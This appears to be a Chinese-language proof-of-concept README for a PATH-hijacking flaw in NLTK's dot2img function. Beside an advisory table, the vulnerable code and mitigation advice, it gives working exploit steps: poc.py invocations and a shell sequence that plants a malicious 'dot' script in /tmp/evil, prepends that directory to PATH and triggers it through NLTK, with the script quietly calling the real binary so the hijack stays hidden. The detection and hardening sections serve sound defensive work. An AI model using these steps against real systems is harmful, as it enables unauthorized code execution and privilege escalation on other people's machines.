
NLTK <= 3.9.1 在 nltk.draw.util.dot2img() 中调用 subprocess.call(['dot', ...])
时未使用绝对路径,而是依赖操作系统的 PATH 环境变量来定位
Graphviz 的 dot 二进制文件。如果攻击者能够将一个名为 dot 的文件写入
PATH 中位于 Graphviz 之前的任意目录,该恶意二进制文件就会被执行,
从而在调用 NLTK 绘图函数的 Python 进程上下文中实现代码执行。
| 字段 | 值 |
|---|---|
| CVE | CVE-2026-128134 |
| CVSS 3.1 | 7.3 High — AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H |
| CWE | CWE-427(不受控制的搜索路径元素) |
| 受影响版本 | NLTK <= 3.9.1 |
| 补丁 | NLTK 3.9.2 |
| 所需权限 | 低(对 PATH 前置目录的写入权限) |
| 披露日期 | 2026-11-19 |
nltk/draw/util.py 中存在漏洞的调用:
# VULNERABLE — nltk/draw/util.py (<=3.9.1)
def dot2img(dot_source, output_format="png"):
with tempfile.NamedTemporaryFile(suffix=".dot", delete=False) as f:
f.write(dot_source.encode())
dot_file = f.name
out_file = dot_file.replace(".dot", f".{output_format}")
# CWE-427: 'dot' resolved from PATH, not from an absolute path
subprocess.call(['dot', f'-T{output_format}', '-o', out_file, dot_file])
return out_file
3.9.2 中的修复使用 shutil.which('dot') 来解析该二进制文件,并验证返回的路径位于预期的 Graphviz 安装目录下。
flowchart LR
A([Attacker]) -->|create malicious dot binary in writable dir| B[Filesystem]
B -->|prepend dir to PATH env var| C[Process Environment]
C -->|any code triggers dot2img| D[NLTK draw module]
D -->|subprocess.call dot| E[Malicious dot binary]
E -->|RCE as Python process user| F([Code Execution])
style A fill:#3d1a1a,stroke:#f85149,color:#f85149
style F fill:#1a1f2e,stroke:#58a6ff,color:#58a6ff
pip install -r requirements.txt
python poc.py --demonstrate
python poc.py --plant-dir /tmp/evil --cmd "id > /tmp/pwned.txt"
python poc.py --plant-dir /tmp/evil --cmd "id > /tmp/pwned.txt" --trigger
python poc.py --check-only
# 1. Create malicious dot script
mkdir -p /tmp/evil
cat > /tmp/evil/dot << 'EOF'
#!/bin/sh
id > /tmp/pwned_by_nltk.txt
# Also call the real dot so NLTK doesn't crash
/usr/bin/dot "$@" 2>/dev/null
EOF
chmod +x /tmp/evil/dot
# 2. Prepend to PATH and trigger NLTK
export PATH="/tmp/evil:$PATH"
python3 -c "
import nltk
from nltk.draw.util import dot2img
dot2img('digraph G { a -> b }')
"
cat /tmp/pwned_by_nltk.txt
| 标志 | 描述 |
|---|---|
--demonstrate | 在临时目录中运行完整的自包含利用演示 |
--plant-dir DIR | 写入恶意 dot 二进制文件的目录 |
--cmd STR | 恶意 dot 将执行的命令 |
--trigger | 在植入后实际调用 dot2img 以触发执行 |
--check-only | 检查是否安装了 NLTK 和 Graphviz,评估 PATH 风险 |
-v / --verbose | 详细输出 |
| 指标 | 说明 |
|---|---|
在 PATH 中的用户可写目录里存在名为 dot 的可执行文件 | 文件完整性监控 |
从非标准路径启动的 dot 进程 | EDR / 进程监控 |
NLTK draw.util.dot2img 调用中 PATH 包含用户可写目录 | 静态代码分析 / 运行时钩子 |
能够写入 PATH 前置目录的本地攻击者,可以在任何调用 NLTK 绘图函数的进程上下文中实现代码执行;如果 NLTK 使用方以更高权限用户运行,则可提升权限。
| 操作 | 详情 |
|---|---|
| 升级 | 将 NLTK 更新至 3.9.2 或更高版本 |
| 加固 PATH | 确保用户可写目录不在 PATH 中 |
| 绝对路径 | 在自定义 NLTK 使用方中,使用 shutil.which 解析 dot 并在使用前进行验证 |
免责声明: 仅出于授权的安全研究目的发布。请仅在您拥有或已获得明确书面测试许可的系统上使用。